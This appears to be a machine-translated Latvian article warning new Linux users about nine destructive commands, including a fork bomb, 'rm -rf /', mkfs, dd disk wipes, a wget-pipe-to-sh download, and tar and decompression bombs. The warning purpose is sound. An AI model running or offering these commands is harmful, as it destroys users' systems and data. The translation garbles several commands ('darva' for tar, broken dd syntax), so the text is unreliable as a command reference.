9 Linux komandas un kodi, kuriem jābūt uzmanīgiem
Linux čaulas / termināla komandas ir ļoti spēcīgas un tikai vienkārša komanda var novest pie vienas mapes, failu vai saknes mapes dzēšanas utt.
Dažos gadījumos Linux pat neprasīs apstiprinājumu, bet tā izpildīs komandu uzreiz, izraisot jums zaudē vērtīgus datus un informāciju saglabāti šajos failos un mapēs.
Parasti cilvēki ievieto saturu tīmeklī ieteikt jauniem Linux lietotājiem izpildīt šīs komandas. Tas varētu likties kā joks kādam, kas ir ievietojis saturu, bet tas nav nevainīgs cilvēks otrā galā.
Mēs esam apkopojuši dažas Linux komandas, kas ir diezgan kaitīgas jūsu sistēmai, lai palīdzētu jums izvairīties no tām. Paturiet prātā, ka tie patiešām ir bīstami un var pat mainīt dažādos veidos, lai radītu jaunas komandas radīt lielāku kaitējumu.
Ir svarīgi atzīmēt, ka dažas no šīm komandām ir bīstamas tikai tad, ja tās ir pievienotas sudo uz Ubuntu. Kaut arī citos Linux sadalījumos lielākā daļa no šīm dotajām komandām būs bīstamas, lai izpildītu kā root.
Paskatieties 9 komandas un kodi jāizvairās no izpildes.
1. Linux Fork Bomb Command
: () : |: & ;:
zināms arī kā Fork Bomb ir servisa atteikuma uzbrukums Linux sistēmai. : () : |: & ;:
ir bash funkcija. Kad izpildīts, tā atkārtojas vairākas reizes, līdz sistēma sasalst.
To var atbrīvot tikai no jauna, restartējot sistēmu. Tāpēc esiet uzmanīgi, izpildot šo komandu savā Linux apvalkā.
2. mv mape / dev / null Komanda
mv mape / dev / null
ir vēl viena riskanta komanda. Dev / null
vai nulles ierīce
ir ierīces fails, kas atbrīvo visus tajā ierakstītos datus, bet ziņo, ka rakstīšanas operācija ir veiksmīgi izpildīta. Tas ir arī pazīstams kā mazliet buksēts vai melnais caurums.
3. komanda rm -rf
rm -rf
komanda ir ātrs veids, kā izdzēsiet mapi un tās saturu Linux operētājsistēmā. Ja jūs nezināt, kā to pareizi izmantot, tas var kļūt ļoti bīstams sistēmai. Visbiežāk izmantotās kombinācijas un opcijas, kas tiek lietotas ar komandu rm-rf, ir uzskaitītas zemāk:
rm
komanda tiek izmantota, lai dzēstu failus Linux sistēmā.rm -f
komanda noņem tikai lasāmos failus mapē bez aicinājuma.rm -r
komanda dzēš mapes saturu rekursīvi.rm -d
komanda tiek izmantota, lai noņemtu tukšu direktoriju, bet tā atsakās noņemt direktoriju, ja tā nav tukša.rm -rf /
komanda tiek izmantota piespiedu dzēšanai (tā izdzēš, pat ja tā ir rakstīta aizsargāta) no visa satura saknes direktorijā un apakšmapes.rm -rf *
komanda tiek izmantota, lai piespiedu kārtā dzēstu visu saturu pašreizējā direktorijā (direktorijā, kuru pašlaik strādājat) un apakšmapes.rm -rf.
komanda tiek izmantota, lai piespiedu kārtā dzēstu visu saturu pašreizējā mapē un apakšmapes. Therm -r. [^.] *
var izmantot arī komandu.rm-i
komanda tiek izmantota failu un mapju noņemšanai, bet pirms izņemšanas parādīsies uzvedne.
4. komanda mkfs
mkfs
jūsu Linux sistēmai var būt bīstama komanda, ja nezināt tās mērķi. Viss, kas rakstīts pēc mkfs, tiks formatēts un aizstāts ar tukšu Linux failu sistēmu.
Visas tālāk minētās komandas formatēs cieto disku un tai ir nepieciešamas administratora tiesības:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
Komanda mkfs.cramfs
darīs to pašu, kā iepriekš, bet tam nav nepieciešamas administratora tiesības izpildīt.
5. Darvas bumba
The darva
komandu izmanto, lai apvienotu vairākus failus vienā failā (arhivētais fails) .darva formātā. Ar šo komandu var izveidot Tape Archive (Tar) bumbu.
Tas ir arhīva fails, kas pašreizējā direktorijā eksplodē tūkstošos vai miljonos failu ar līdzīgiem nosaukumiem nevis jaunu direktoriju.
Jūs varat izvairīties kļūt par darvas bumbu upuri ikreiz, kad saņemat darvas failu, regulāri izveidojiet jaunu aizsardzības direktoriju un pēc tam pārvietojot saņemto darvas failu šajā direktorijā pirms atvienošanas.
Ja darvas fails ir patiešām darvas bumba, tad jūs varat vienkārši noņemt jaunizveidoto direktoriju, lai atbrīvotos no tā. Vēl viens veids, kā izvairīties no darvas bumbu sprādziena, ir caur the -t
iespēja uzskaitīt visu darvas faila saturu lai sniegtu jums priekšstatu par darvas faila saturu.
6. dd komanda
The dd
komandu izmanto kopēt un konvertēt cietā diska nodalījumus. Tomēr tas var izrādīties kaitīgs, ja norādāt nepareizu galamērķi.
Šī komanda var būt kāda no šīm darbībām:
dd if = / dev / hda no = / dev / hdb
dd if = / dev / hda no = / dev / sdb
dd if = kaut kas no = / dev / hda
dd if = kaut kas no = / dev / sda
Nākamā komanda nulles visu primāro cieto disku: dd if = / dev / nulle = / dev / bija
7. Shell skripta kods
Kāds var jūs upurēt dodot jums saiti uz čaulas skriptu un apstiprinot jūs to lejupielādēt un izpildīt. Skripts var saturēt ļaunprātīgu vai bīstamu kodu. The komandas formāts var izskatīties šādi: wget http: // some_malicious_source -O- | sh
. The wget
lejupielādēs skriptu, kamēr sh lejupielādēs skripta izpildi.
8. Ļaunprātīgs pirmkods
Kāds dod jums avota kodu un lūdz to apkopot. Kods var būt normāls kods, bet patiesībā daži ļaunprātīgi kodi ir slēpti lielajā pirmkodā un tas var kaitēt jūsu sistēmai. Lai izvairītos no šāda veida uzbrukuma, pieņemiet un apkopojiet tikai avota kodu no uzticamiem avotiem.
9. Dekompresijas bumba
Jūs esat saņēmis saspiestu failu, un jums tiek lūgts izvilkt šo failu, kas, šķiet, ir ļoti mazs, bet tas var būt daži KB. Patiesībā, šis mazais saspiests fails satur ļoti saspiestus datus.
Kad fails ir izspiests, iegūst simtiem GB datu var aizpildīt jūsu cieto disku samazināt sistēmas veiktspēju. Lai izvairītos no šīs situācijas, vienmēr atcerieties pieņemt datus no uzticamiem avotiem.